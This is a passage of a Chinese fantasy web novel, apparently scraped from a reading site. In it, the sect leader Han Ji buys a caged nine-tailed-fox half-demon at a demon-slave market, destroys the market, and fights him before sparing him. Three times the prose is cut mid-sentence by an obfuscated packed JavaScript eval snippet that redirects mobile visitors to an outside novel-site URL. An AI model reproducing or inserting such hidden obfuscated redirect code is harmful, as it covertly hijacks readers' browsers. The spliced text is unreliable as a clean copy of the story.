韩纪蹙眉不语。 小贩继续推销:“肉妖煎炒煮炸,延年益寿!种妖肤白貌美,听话乖巧,腻了还能当肉妖卖回来!一货两吃,稳赚不赔的!” 韩纪胃里一阵翻江倒海。 妖族奸恶当诛,但这些人生吞活剥、豢养玩物的行径,也实在与茹毛饮血的野兽无疑。 她心生不悦,冷冷瞪了那小贩一眼,不再理会他的话语。 “让让让让!” 街上传来车马之声,金铃摇动,热闹非凡。 韩纪循声望去,便见一支庞大商队拖着各色货物缓慢行来。 那商队前头的人长得肥头大耳,骑着高头大马,戴着一块丑陋的野猪面具。 在他身后,是数十辆满载货物的马车。 马车四周缀满细锁链,挂满镇妖铃铛,黑布下传来压抑的呜咽和锁链碰撞声。 车轮在青石板上留下道道深红的血痕,浓重的血腥气飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941769|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散在风中。 集市上的商人和买主都个个摩拳擦掌,数着囊中财物立于两侧。 便是韩纪也被人挤到路边当起了夹道欢迎的跟随者。 马蹄声中,一阵风掀开了一辆马车的黑幔,露出底下鲜血浸透的粗铁囚笼。 极重极粗的锁链上浮动着血色符文,碗口粗细的栏杆被鲜血染得微微发红。 就在这惊鸿一瞥间,她体内被封印的灵力忽然开始翻涌! 五行灵宝之一的金魄神珠,就在附近! 人群推搡,韩纪猝不及防,猛地撞向一辆马车。 哐当一声巨响,金铃狂震,风沙漫天! 韩纪撞得胸口阵痛,不得不捂着胸口,单膝跪地,抬手抵挡迎面袭来的风沙。 便在她青色衣袖飞扬之间,黑黢黢的囚笼里睁开一双眼睛。 这眼睛极黑极亮,宛如被墨染黑的血,由血炼成的墨,浓重粘稠得叫人过目不忘。 就好似跗骨之蛆,挥不去,甩不掉。 冤魂厉鬼,触目惊心。 不是凡物,不是善茬。 车队停下,黑色幕布被一张一张揭开,露出里头的半妖。 这些半妖正直少年,个个四肢纤长,皮肤白皙,脸上戴着精巧的面罩,身上锁链粗重无比,血迹斑斑。 数十个小厮戴着黑色面具出来售卖货物。 人群如嗅到血腥的鬣狗涌向囚笼,韩纪趁机行至方才那辆她撞上的囚笼前,体内被封印的灵力再次躁动翻涌。 “姑娘,这个不卖!”小厮紧张阻拦,“里头是只疯狗妖!咬伤好几个客人了!主家要送去千娇笼调教” 韩纪的手停在黑布边缘,诧异道:“看看也不行?” “太凶!怕吓着您……”小厮话音未落,囚笼内陡然传来沉闷的撞击和金铃狂震。 几个小厮吓得连连后退,焦急道:“快过来姑娘!这狗妖要发狂了!” 韩纪见他们个个如临大敌,不似作假,正准备收手后退,一股温热的气息,带着铁锈般的血腥味,穿透黑布缝隙,轻轻拂过她的手腕。 下一刻,一只伤痕累累、骨节分明的手猛地从囚笼中伸出,紧紧抓住韩纪手腕,无论韩纪如何使劲也不缩手。 可诡异的是他似乎只想抓着韩纪不放,并没有任何的攻击性。 小厮们目瞪口呆:“邪门了……今天这疯狗怎么不咬人了?”回过神来,赶忙上前给囚笼上加贴符纸。 一阵痛苦的嘶吼声后,笼里的半妖气力耗尽。 那只手无力地垂下,咚的一声砸在笼底荆棘之上。 戴着野猪面具的富商在这时登上高台,在他身后,几个小厮各自拿着算盘与账本站在两侧,“各位,肉妖只需十两黄金,种妖五十两黄金。今日我们来时遇到万法妖宗拦截,折损了些许,因此只有两百只半妖可售卖。正所谓僧多肉少,过时不候,各位看官可要抓住机会!” 说话间,他那双被贪欲遮盖住的眼睛精明地往四周一瞧,从怀中拿出金铃道:“摇铃为号,先到先得,若有同时摇铃者,价高者得。” 话音未落,他便要敲铃开市,谁知在熙熙攘攘的人群之中传来一个姑娘的声音。 “且慢!” 清冽的女声穿透嘈杂,所有人循声望去。 一个戴着红狐面具、身着麻布青衫的女子排众而出,跃上高台。 这女子看上去普普通通,无甚打眼之处,只是双目显出宝石般的光泽,叫人不敢直视她的目光。 富商疑道:“这位姑娘,不知你有何贵干?” 韩纪道:“自然是来做生意的。”话毕,她翻手夺过富商手中金铃丢在地上。 富商怒道:“那你为何要来阻我开市?” 韩纪目光扫过台下无数囚笼,最终落向那辆盖着黑布的马车方向:“因为今日,这整个人妖之市,只能有我一个买主。” 4. 笼中半妖 满场震惊。 众人交头接耳,议论纷纷。 富商好似不相信自己的耳朵一般重复问道:“这位客官,你方才说什么?” 韩纪自顾自地坐下喝了口茶,道:“我说,这两百只半妖,我全要了。” 富商上下打量一眼韩纪,鄙夷道:“姑娘可知两百只半妖要多少钱?” 韩纪道:“一百只肉妖,一百只种妖,不过六千两黄金,很多么?” 倒非韩纪逞强,寒山宗开宗立派三千年,财力雄厚,这六千两黄金,作为宗主她还刚好真的有。 只是她现在拿不出来。 韩纪见那富商低头不语,随手将一袋夜明珠与一颗咒石丢在桌上,道,“我这个人吧,向来有一个习惯,不喜欢挑东西,我看上的全都要。” 若说那夜明珠只是人间富贵,那咒石便叫那富商瞪大了双眼,台下当即响起细细密密的议论声。 “这咒石乃先天灵石,能得之人背后都有家族撑腰。这位女子衣着普通,怎么会有咒石?” “保不齐是哪个仙门的得意弟子,啧啧啧……” 富商满脸赔笑,连声吩咐手下将上好的茶水点心奉上。 “小的是人妖之市掌柜周得善,眼拙至此,竟未认出贵客。”富商卑躬屈膝地给韩纪倒了杯茶,恭敬道,“不知贵客来自何方,师从何门呐?” 韩纪斜睨他:“在场之人既戴着面具,想来该是只看银钱货物,不问商户买家,既然我出得起价,你又何必多嘴。” 周得善连声称是。 韩纪起身看着那囚笼里的各色半妖,道:“既然是全要了,那只笼子里的,我也要了。” 她所看的方向只有一只正要搬上马车的盖着黑布的囚笼,所言之意再明确不过。 周得善大惊,连忙道:“姑娘,那只笼子里的半妖凶恶非常,在下已经同千娇笼说好了,稍后便送去千娇笼——” 韩纪径直问:“多少钱?” 周得善内心大喜,却还是装作为难道:“按理说是不能卖给您的,但您是我们人妖之市的贵客,我也不好推却。这样吧,您看看合不合您心意,若合心意,两百两黄金,您带走便是。” 韩纪在面具之下不动声色地翻了个白眼。 这个奸商是会坐地起价的。 随着周得善的一声令下,黑色巨幕被拉开,里面的情景逐渐被显露出来。 不同于其他笼子,眼前这只笼子显然是比其他笼子要大得多,里面布满了封妖符条与锁链,便是那牢笼之上,也是寸寸牢壁寸寸血。 周得善开口提醒:“此妖凶猛非常,姑娘务必当心。” 待到黑色巨幕完全被掀起,韩纪才瞧清楚里面情景。 只见布满荆棘与符条的囚笼之中,坐着一个身穿黑衣的男人。 说是男人,分明是个少年模样,说是少年,不如说是半妖更为贴切。 半妖墨发散乱,浑身浴血,血迹之下,拇指般粗细、布满禁制与咒法的黑色铁链如同毒蛇一般缠绕着他的身躯,将他牢牢地捆在囚笼之中。 再往上,两根碗口粗细的铁链死死锁住他的脖颈与手腕,使得他动弹不得。 韩纪移开眼,问:“他会咬人,是真的吗?” 周得善插科打诨道:“姑娘,他长得很漂亮,绝对符合您的心意。” 韩纪挑眉,道:“看来会咬人是真的了?” 在他们谈笑中,半妖悠悠转醒。 他微一抬眼,还未有动作,脖颈上的铁链便开始收紧,将他生生拉了回去。 也因着他这一动作,韩纪才瞧清楚他的相貌,也望见了他极黑眼眸之中的一抹金光,那是独属于金魄神珠的光芒。 周得善确实没有说错,光凭这笼中半妖的相貌身段,的确值得起二百两黄金这个价。 莫说二百两了,拉到大一些的都城去,几千两几万两都多得是人出。 可她不会看错,这半妖周身萦绕着隐隐黑气,绝非是普通半妖,而是……九尾狐妖? 九尾狐一支早在千年之前就被仙门杀灭种了,竟还有一只能留存人世,实在是件奇事。 更让人惊奇的是,这半妖拥有九尾狐的血脉,身怀金魄神珠,居然还能被人抓在牢中。 这其中……会不会有什么阴谋? 不管怎样,如今她修为未复,带着一只虎视眈眈的妖在身边绝对不是良计。 她得想个办法,要么杀了这半妖取出金魄神珠,要么让这奸商告诉她制服这半妖的办法。 周得善见她沉默不语,连忙道:“姑娘你看,这半妖除去眼神凶恶,脾性凶猛之外,生了一副天赐的好皮囊,实在是难得之物。” 韩纪回过神来,冷哼一声,转身便走。 周得善见她动怒,连忙跟上。 韩纪道:“把这两百只半妖装车,我要带走。” 周得善大惊,道:“贵客,还没付定金呢。” 韩纪瞥他一眼,道:“我人都在这里,难道还能赖账不成?稍后便有我的家丁将六千两黄金送来。”韩纪将咒石塞入怀中,将夜明珠抛给那周得善当做定金。 见她准备动身,周得善赶忙道:“这六千两不对啊,应该是六千二百两黄金。” 韩纪拍拍手,摇了摇那车上的铃铛,冷声道:“那只你一会儿送去千娇笼吧。” 虽说千娇笼的确是个好去处,但千娇笼山高路远。 周得善可是一个精打细算的人,哪里会放着容易的钱不赚呢? 他拦住韩纪,劝道:“姑娘,我看你出手也是大方,这样,我给你一个实惠,一百八十两,你把那半妖也拿走。” 韩纪不语。 “算了算了,一百五十两,不能再低了。”周得善大手一挥,叫人将囚笼推过来,“真的物超所值,姑娘再瞧瞧这半妖,稀罕货色。” 韩纪瞥了周得善一眼,缓步走向那迎面推来的囚笼。 她弯腰与那半妖对视,瞧见他极漂亮的眉眼和勾人心魄的眼神。 像是一丛含泪的秋海棠,更像是一朵有毒的罂粟花。 旁人说的凶恶她半点也瞧不出来,在他那双极黑极亮的眸子里,她瞧见了几分脆弱与惊恐。 这种神情韩纪见怪不怪,几乎每一只死在她手中的妖怪最后都会露出哀求的神情。 不过是妖族的把戏,一旦谁信了,等待她的就会是锋利的爪牙。 这可不是什么乖顺的小狗,这可是一匹嗜血的狼。 “不是钱的问题。”韩纪一脚踹在囚笼上,囚笼发出呛啷啷一阵乱响。 众人脸色骤变,她却只是微微一笑,“只是我这个人,不喜欢养会咬人的狗。” 周得善心有余悸地瞥了眼笼内半妖,额头淌下豆大的汗,硬着头皮劝说道:“姑娘放心,这半妖头上的口笼可是纯钢打造,上面还附了禁制,他根本取不下来。” 见韩纪不语,周得善又道:“姑娘是大主顾,若是将此半妖买下,在下可为姑娘与这半妖订立五行锁妖契,这契约是我们人妖之市研究了数十年才研究出来的,结契之后,他将终身奉你为主,不可伤你分毫。” “是么?这么管用?”韩纪再次蹲下身来,与那笼中半妖平视。 “半妖,我劝你识相一些,若送去了千娇笼,拔灵散识,沦为牲畜都是你最好的结局。”周得善见那半妖动也不动,出声劝道,“你看这姑娘,年轻貌美,你能遇上这么好的主人,应当烧高香才是。” 他半是蛊惑半是威胁,若是别的半妖听了早该心神慌乱。 可这笼子里的半妖硬是动也不动,漆黑的眼死死地盯着他,直盯得他鸡皮颤栗,毛骨悚然。 韩纪敲了敲那牢笼,道:“若是买一条狗,自然要买一条心甘情愿的狗。小狐狸,你愿意做我的狗吗?” 此言一出,靠近囚笼的人只怕这半妖发狂,慢慢地往后退了两步,独有韩纪往前又进一寸。 她手指轻轻扶着囚笼栏杆,铛铛又敲了两下,冷冷道:“不想死的话,爬过来。” 周得善大惊失色,战战兢兢又退一步。 便在这时,那铁链响了一声,众人循声看去,见那笼中半妖已然往韩纪的方向动了几寸。 粗大的铁链紧紧地缠着他的脖子,几寸之地于他而言已然是用尽全力。 看上去不像是心甘情愿做狗,倒像是……狼匍匐前行,预备咬断敌人的脖颈。 周得善心中捏了一把冷汗,昧着为数不多的一点良心道:“姑娘,姑娘,他是心甘情愿做姑娘的狗的!你瞧!他愿意的!” 韩纪冷冷地看着笼中半妖。 半妖望着她,眼眶渐渐泛红,似是受到了什么刺激一般,奋力地想扯开锁链,朝她爬来。 韩纪本就不是什么心慈手软的人物,便是瞧见那半妖因爬行而裂开的伤口,眼皮也不眨一下,冷声道:“你这么凶,是愿意做我的狗,还是想咬死我?” 半妖不说话,只是望着她。 韩纪瞧着他的目光越来越冷。 她记得从前那些妖邪也是喜欢这样一动不动地望着她。 那时,她以为那是害怕,而今想来,只怕是想着怎么杀她。 韩纪勾唇一笑,轻轻道:“这样吧,既然是狗,你再爬几步看看?爬得好看的话,我就带你走,怎么样?” 周得善默默又后退几步。 这牢笼内,是他抓过的最凶的半妖,从抓他来到现在不过短短半月,这半妖已经将他的好几个手下弄得残废。 若非实在貌美,他早就剁成碎肉拿去喂狗了。 眼见气氛烘托到这里,可以顺理成章地进入笼中,韩纪伸手探入怀里,将一颗雷火珠仔细捏在手中,转头对周得善道:“把锁链打开。” 周得善大惊失色:“万万不可,此妖凶横……” 韩纪偏头示意:“打开。” 短短两字,不容置疑。 周得善咽了咽口水,挥手让手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941770|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下开锁。 韩纪屏息凝神地看着笼中的半妖,眼中杀气尽显。 如此小的空间,他避无可避,一颗雷火珠,足够让他半身不遂。 如他骤然发狂,想杀了她逃走,她也可叫他死无葬身之地。 杀妖剖珠,顺理成章。 只听得咔哒一声,锁链松开,半妖微一动身,那些亮着符咒的锁链便叮叮当当落了一地。 他缓缓抬手松开脖颈上的束缚,一声脆响,碗口粗的锁链被他掷于一旁。 众人大惊,急忙退后。 在韩纪身后,涌出无数手执利剑的护卫与捉妖师,个个严阵以待,大气也不敢出。 “姑娘!快退后!”周得善躲在侍卫身后低声催促。 韩纪对他的喊声充耳不闻,非但没有退后,反而蹲下身来,伸手点了点身前的地面,轻笑道:“爬过来。” 囚笼上金铃大作,符咒飞扬,奋力地压制着这即将破笼而出的妖怪。 终于,半妖向前一步,吓得周得善连声大叫。 正当众人下意识捂住眼睛,以免看见一些血腥场面之时,笼中半妖双眼直直盯着韩纪的眼睛,往前跪行了几步。 口笼之下缓缓流出鲜血,他确实是重伤未愈。 韩纪一手捻着雷火珠,一手扶着囚笼,淡淡道:“这样才对,狗就要有狗的样子,狗就应该在地上爬。” 她要激怒他,只要他稍有动作,她便能名正言顺地弄死他,取走他眼眶之中的金魄神珠。 韩纪伸手在那囚笼上抹了点血,继而用那只沾了血液的手轻轻地点了点那半妖的口笼,命令道:“舔干净。” 半妖低眉,眼瞳中印出一只白得发青的手。 韩纪仔细瞧着他昂扬的眉宇,心中描摹出他暴怒的模样。 囚笼之上,数十只金铃接二连三地在空中炸开,宛如粉碎的金莲。 韩纪正要将雷火珠掷出,却不曾想那半妖忽然低下头去。 冰冷的口笼紧贴韩纪的手背,温热的呼吸喷洒在她手指之上,一点湿润沾上她的手背。 韩纪心中一惊,下意识将手缩了回来。 半妖抬眸凝视着韩纪,鼻翼微动,显然已经闻见雷火珠的味道。 韩纪退而求其次,继续激怒他,道:“人们不是常说,会叫的狗不咬人?既然你不咬人,你就叫两声来听听。好听,我便带你走。” 那半妖盯着她,动也不动。 韩纪只道这半妖天资不俗,又貌美至极,是没有受过这样的屈辱的,不由得捏紧了手中的雷火珠,随时准备出手。 可谁也没想到,那半妖眉眼一动,低下头来,似乎真的准备叫两声给她听。 韩纪失望地起身退开,讽刺道,“不用了,这样卑贱便足够了。” “呦,姑娘,您可真是太厉害了。”周得善见状连忙拨开侍从,上前给韩纪拍着马屁,“这半妖只有在您手里才服服帖帖的,实在是太适合您了。” 韩纪本来准备激他攻击,顺理成章地取走金魄神珠,只可惜这半妖实在是个骨头软的,叫她失了这动手的机会,对着周得善的热脸一时间竟说不出话来。 “来人,取锁妖契来。”周得善担心这钱多事少的女子反悔,连忙招呼伙计,“这锁妖契分为子母二符,取您与这半妖的鲜血融入五行砂中写下符文,将符纸烧了化在这无根水中喝了,契约便结成了,从今往后这半妖将以你为主,护你周全,听你号令。” 这锁妖契形制粗糙,看上去并不牢靠。 好在韩纪也不需要这锁妖契永远压制住这只半妖,她只需要短暂地控制他些时日即可。 她刺破手指在母符上滴入鲜血,待到周得善当着她的面将两碗符水备好,便将自己的那碗一饮而尽,半妖也在众多伙计的压迫下被强行灌了一碗符水。 眼瞧着那半妖的耳后闪过暗红色的契纹,周得善满脸赔笑地凑头过来,道:“既然如此,姑娘结一下帐吧,加上方才那碗符水,一共是六千一百八十两黄金,已经是非常实惠的价格了。” 一碗符水三十两黄金? 韩纪觉得这周得善可真是个黑商。 周得善连忙解释:“姑娘误会我了,那锁妖契价值不菲,我已经是成本价了。” 倒卖半妖这种一本万利的事情,得抵多少碗汤药的成本价? 好在韩纪无心和他计较这三十两黄金。 六千两她都不准备付,更何况这三十两? 真当她一盒雷火珠白装的? 她今日不仅要带走这只半妖,更要毁了这人妖之市。 妖生性狡诈残暴,妖血腥臭,妖气浑浊,半妖也好不到哪里去。 可总有偷奸耍滑、投机取巧之辈认为这妖肉妖血是上等的滋补之物,殊不知食妖血肉者,也会被妖气所惑,身强力健者尚能抵抗,可那些本就体虚病弱的人吃了,不消多日便会一命呜呼。 这人妖之市买卖半妖,简直是谋财害命,断不可存。 5. 林中相杀 “店家稍等,这六千两黄金我怎么可能随身带着,方才我已经叫家丁去取钱了,安心待着银钱入库便是。”韩纪一边看着四周地形,一边安抚,“看这阵仗,想来这人妖之市也是你一手操办的吧?” 周得善嘿嘿笑了两声,自谦道:“哪里的话,都是有你们这些贵客,我这生意才做得起来啊。” 韩纪就坡下驴:“那麻烦店家把这些围观的群众都遣散吧,一会儿我的家丁带人前来付钱取货,我可不希望被人看出身份。” 她面上带笑,心中却想:“一会儿若是顺手,我将你和你的这些走狗也杀了。” 周得善点头称是,就差把任凭差遣四个字打在脸上。 一小队侍从从高台上下去,不一会儿就把周围的群众驱散。 囚笼里的半妖也一个一个被搬上囚车。 喝下符水的半妖戴着口笼被几个捉妖师用锁链困着站在韩纪身后。 韩纪放下茶盏,起身问道:“店家,建起这个人妖之市,耗资不少吧。” 周得善算盘打得噼啪响,头也不抬地答道:“不多,七十余年,前后三万两黄金。” 韩纪点头道:“那我今日便付三万两黄金,你看如何?” 周得善忽然感觉到一丝害怕。 约在百年之前,他还是一个孩子时便跟着父母做些买卖半妖的生意。 那天,在父亲开的客栈里来了个女子。 女子麻布青衣,戴张面具,问他父亲:“你开这个客栈花了多少钱。” 他父亲答道:“不过五百两银子。” 那女子便道:“那我便给你五百两银子。” 话音刚落,那个女子一剑把客栈劈成两半,杀了他的父亲,念在他与哥哥年幼无知,饶了兄弟俩的性命。 百年前的事情,早就被他遗忘在记忆的各个角落中了。而今忽听到如此相似的话语,他猛然想起多年前的那个女子。 可是,韩纪已经死了。 纵然有人说她被洛渭炼成阴尸,可这阴尸也不该被他这个从未做过伤天害理之事的人碰上。 韩纪拽住半妖脖颈上的铁链,试了试牢固程度,确保不会断开之后,便从怀中掏出雷火珠,猛地往周得善身上一扔,飞奔着往台下冲去。 周得善不知缘由,只以为她要耍赖,张口喊人来追,便见几颗黑珠轱辘轱辘滚到自己脚边。 他脸上表情霎时凝固。 砰砰砰连声巨响,四周一片混乱。 囚车上燃起火焰,数十只妖精趁乱从四面八方的巷口之中冲上前来,与人妖之市的护卫与捉妖师厮杀。 韩纪一面拉着锁链迫使半妖同自己向外跑去,一面往身后的护卫与妖精身上扔雷火珠。 “砰!” “砰!” “砰!” …… 人妖之市变为炼狱,烟尘扑面,火光冲天,爆炸带来的巨大震动使得四周追逃的人妖行迹动荡,层层搭起的亭台楼阁转瞬之间化为断壁残垣。 眼瞧着自己的心血眨眼之间付之一炬,周得善立于一片火海之中振臂疾呼:“给我把那个女人抓住!抓住她!我要杀了她!” 韩纪往后一望,便见数数十个凶神恶煞的捉妖师朝她扑来。 眼见他们追得越来越急,她当即将几颗雷火珠全力扔出。 听得一阵爆炸的狂响声,韩纪回头,哪里还有捉妖师的身影。 土木废墟之间,横七竖八地躺着些侍从,个个灰头土脸,满身鲜血,叫苦连天。 韩纪扯着半妖正要拐过弯道去,谁道弯道上的阁楼早在几次轰炸之间断了根基,摇摇欲坠,眨眼之间便轰然倒塌,将韩纪的去路堵得严严实实。 她回转不及,勉强避开下坠的石块,再回头已然陷入了包围之中。 “跑啊!你不是跑挺快的嘛!你再跑!” 一群拿着刀枪棍棒的伤病残将之间走出一个包着大半张脸的胖子,不是周得善又是何人。 “嘶——”说话间,周得善扯动了自己脸上的伤口,疼得倒吸一口凉气。 他恼怒着将手上的东西全部扔到地上,冲着韩纪恶狠狠道,“我要将你碎尸万段!” 韩纪一手攥紧了半妖脖颈上的锁链,一手伸手握住怀里的咒石,假意道:“那就看看,是你们先将我碎尸万段,还是我先将你们炸成两段!” 说着就作势要将怀中之物扔出去,骇得那群人个个抱头鼠窜。 说时迟那时快,韩纪掏出咒石,催动咒语。 一道白光在她眼前炸开,市井中的人群与迎面奔来的恶徒在韩纪眼前纠缠成一根斑驳的长绳。 阵法将成未成之际,韩纪听见身侧传来一声凄厉的箭鸣,紧接着,一道黑影扑到她身上,随她一道到了阵法之中。 伴随着两声闷响,韩纪摔在地上。 鲜血在泥土上如同长蛇一样滑行。 韩纪睁眼瞧见了一双黑沉沉的眼睛。 她心下一惊,猛地从地上爬起来,四下张望,除却一片碧绿的原野之外什么也没看见。 天阴沉沉的,远处山林间生出深深雾霭,没有太阳,寒风之中四处夹杂着茂盛的水汽。 这是韩纪从前最喜欢的天气,湿润,清冷,让人浑身都生出一种懒意,如今她却不喜欢,这样的天气总会让人无端的想起危险与死亡。 砰的一声,一个重物倒在身后,她回头一看,瞧见了奄奄一息的半妖。 他倒在荒地之上,石子擦破了他的手掌,微风阵阵,仔细吹动着他身侧繁茂的杂草,遮去他小半身形。 一支利箭插在他后肩之上。 箭羽湿漉漉的在风中颤动,已然干涸的血在湿润的风中又化为粘稠的液体。 踏破铁鞋无觅处,得来全不费工夫。 韩纪感叹一声,上前一把握住他身上箭杆。 皮肉与硬物摩擦,箭头拔出,鲜血飞溅韩纪一身。 半妖闷哼一声,整个人因为疼痛而拱起身形,悠悠转醒。 韩纪抹去手背上的血,扯过他受伤的手臂,将他硬生生翻了个面。 他原本结痂的伤口因着她的动作又生生撕裂开来,转瞬之间,碧绿的草叶便已经被血染得透红。 韩纪也不管他疼还是不疼,双手结印要施法准备取出金魄神珠。 只是动手时下意识往上瞧了一眼,便瞧见半妖那双黑黢黢的透着亮光的眼睛。 他仍戴着口笼,鲜血染满了他小半张脸,可他那双眼睛依旧散发着某种韩纪无法忽视的怨毒与痴狂。 他想将眼前的人撕碎,却又向注视神像一般注视着她。 为什么? 韩纪停住手中的动作,斜睨着他,疑道:“我要杀你,你都不躲的么?” 半妖闻言将目光从她脸上面具移开,可还没待他开口,韩纪便施法强行取出金魄神珠,他一口鲜血喷了出来,当下便晕了过去。 她才不管他为什么不躲。 她只要取出金魄神珠。 韩纪双手施法,额头沁出汗珠。 方才那一箭刺得结实,不说穿心而过,怎么也伤到了要害。 这半妖运气不好,今天必死无疑,她杀了他,也算是给他一个痛快。 韩纪这么想着,继续施法,未曾想胸口一疼,鲜血已从嘴角溢出。 她体内能调用的灵力正在飞速流失,若继续强行取出金魄神珠,只怕她也会灵力枯竭而亡。 韩纪不得不捂住胸口,调整内息,半柱香之后才睁开双眼。 天色依旧不明,阴云压林,寒雾浮动,只是—— ——那半妖不见了! 韩纪疾步上前,野草丛中只剩被压弯的草叶,附在其上的血液湿漉漉的,还带着些许温热的气息。 没走多远,追! 她擦去嘴角鲜血,沿着血迹追出几丈,便听得身后传来破空之声,侧身避过飞来的石子,回头望去,却见方才那半妖手执箭矢朝她扑来。 她躲闪不及,被半妖扑中压在地上,双手死死抵住朝着她心口刺下的箭矢。 “我不杀你你不逃还敢来杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941771|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,今日你非死不可!” 韩纪额头青筋暴起,手中力道不松。 半妖口笼未除,眼中杀气更重,骂道:“你这黑心肝的女人,我替你挡箭也算救你一命,你却不由分说便要杀我取珠,既然如此又有什么话好说!” 半妖在上,韩纪在下,虽说她身手不逊色与他,但如今他占了先机。 眼瞧着那箭矢戳破自己的衣裳,刺破皮肤,韩纪猛地一蹬双腿,缠住半妖腰身,顺势一滚,二人便一道从山坡上滚落。 顷刻间天旋地转,碎石划破脸颊,草叶割破手腕,不断飞速闪出的灌木荆棘更叫一人一妖苦不堪言。 箭矢在飞速翻滚之中跌飞出去,嗤的一声插入湿润的土地。 箭羽轻微的颤动着,下一刻便被飞滚而来的身影撞断。 韩纪在翻滚之中奋力撑住手掌,借力翻身而起,而在她一丈之处,半妖捂着脖颈摇摇晃晃地站起。 他的指缝之中,鲜血正溢出来。 方才撞断箭羽之时,断裂的箭杆刺穿了他的脖颈。 韩纪周身传来尖锐的疼痛,依旧强撑着挖苦:“你真是倒霉,看来老天爷都要收你。” 半妖拔出脖颈的断箭,哑声道:“我是半妖,天道何曾站在我这一边。” 呼吸之间,一人一妖又缠斗起来,好半响,韩纪才将这只半妖稳稳地压在身下。 她一手摁着半妖胸前的伤口,另一只手正施法调动体内残存无几的灵力意欲取出金魄神珠。 半妖面色苍白如纸,仅剩的几分气力如今正全力地捂着自己脖颈的伤口,可血液还是汩汩的流出。 他漆黑的双眸微微颤动着,渐渐失神,口笼之下,发出微弱的呢喃声。 韩纪提气捻诀,准备一鼓作气取出金魄神珠,却见那神珠在半妖眼眶之中滚动。 灵物护主,金魄神珠在她灵力的催动之下觉察到半妖将死,散出金符意欲护住半妖性命,竟有相融之势! 韩纪来不及细想许多,双手捻诀施咒为半妖止血。 她的双手颤动着,汗珠滚落,终在那金魄神珠的金符爬上血淋淋的伤口保住半妖一命。 金符散开,化作一层朦胧的金光缓缓流回半妖的眼眶。 半妖失神的双眼渐渐回拢,漆黑的眼眸之中渐渐映出韩纪的身影,随即眼一闭,头一歪,晕死过去。 东方渐白,无边的风吹动韩纪散乱的鬓发,她的心绪也如同那发丝一般飘摇不定。 解开金魄神珠上的封印虽易,从眼珠中分离出金魄神珠却难。 稍有不慎,金魄神珠化在此人眼眶之中,她被金魄神珠封印的力量也会归其所有。 为今之计,只有先找到其他封印之物,再来取出金魄神珠。 亦或者,她可以直接挖出他的眼珠,再想办法…… 韩纪低头瞧着半妖被鲜血浸红的脸,心中忽然浮现出他后背插着那只箭矢时的模样,目光从他紧闭的双眼滑向他颈间。 同样被鲜血染红的脖子上,挂着一根五色丝编成的绳索,绳上坠着一颗小小的平安锁。 半妖,也会有人为他打造平安锁吗? 为他打造平安锁的人,是不是也希望他平平安安? 韩纪一动不动,脑海中却浮现寒山宗那些年纪尚小的弟子在山道上蹒跚学步的样子。 半晌之后,她背起他沾满鲜血的身体,一步一步走进荒野之中。 不知过了多久,灰蒙蒙的天空中依旧满是乌云,看不见太阳的踪迹,但他的视线确实是一点点的明亮了。 女子随风飞扬的鬓发在半妖眼前缠绕,天空和大地在此刻被这缕鬓发掩盖住了,潮湿的水汽在他鼻息之间游走。 一群大雁从远山上空掠过,灰淡的影子在泥泞中深一脚浅一脚地踩着。 “为什么要救我……剜去我的眼睛,你会走得更快……” 寂静的旷野之中,韩纪听见半妖虚弱的声音。 微风吹来,柔软的柳枝低垂在地轻轻摇曳。 韩纪懒得回答他的问题。 6. 随便的随 半妖再次睁开双眼,瞧见的是一尊破碎的泥像。 帷幔低垂,烛台翻倒,香灰散落,火堆燃烧,以及——他往火堆之后看去,先前凶神恶煞的女人正支着脑袋打盹,摇曳的火光映着美丽的红狐面具。 胸口与脖颈处传来钝痛,半妖伸手想解开口笼,却不曾想手指触及冰冷的锁扣之时,那股刺骨的疼痛又从胸腹之中发出。 重伤未愈,只好作罢。 他蹑手蹑脚地翻下干草堆,顺手敲碎神台上的破碗,取了一片锋利的瓷片夹在手中。 影子在地上移动,从后到前,慢慢将打盹的女子罩住。 瓷片眨眼便要割破咽喉,女子的眼珠却转了转,漫不经心道:“杀我?你下得了手么?” 半妖动作一滞。 韩纪懒洋洋地伸了个懒腰,随意地靠着身后的圆柱,不疾不缓地说着:“你并非善类,如何肯为我挡下飞箭?山坡伏击时,以你之力将我一击击杀不是难事,为何又让我逃脱?” 说到此处,她掀起眼帘,冷冷一笑:“如今看来一切都显而易见了,我就在这里,任你来杀。” 半妖自然想杀她,自然要杀她。 可不知为何,手中瓷片在触及她肌肤的瞬间便失去了控制,硬生生地停在半空,不再往前。 眼瞧着他伤口因为使力又溢出血来,韩纪干脆前倾着身体往那瓷片倒去。 肌肤再次与碎瓷相接的瞬间,半妖跌跌撞撞地后退几步,瘫坐在地,惊恐地望着自己的手掌,瓷片也在这时摔得粉碎。 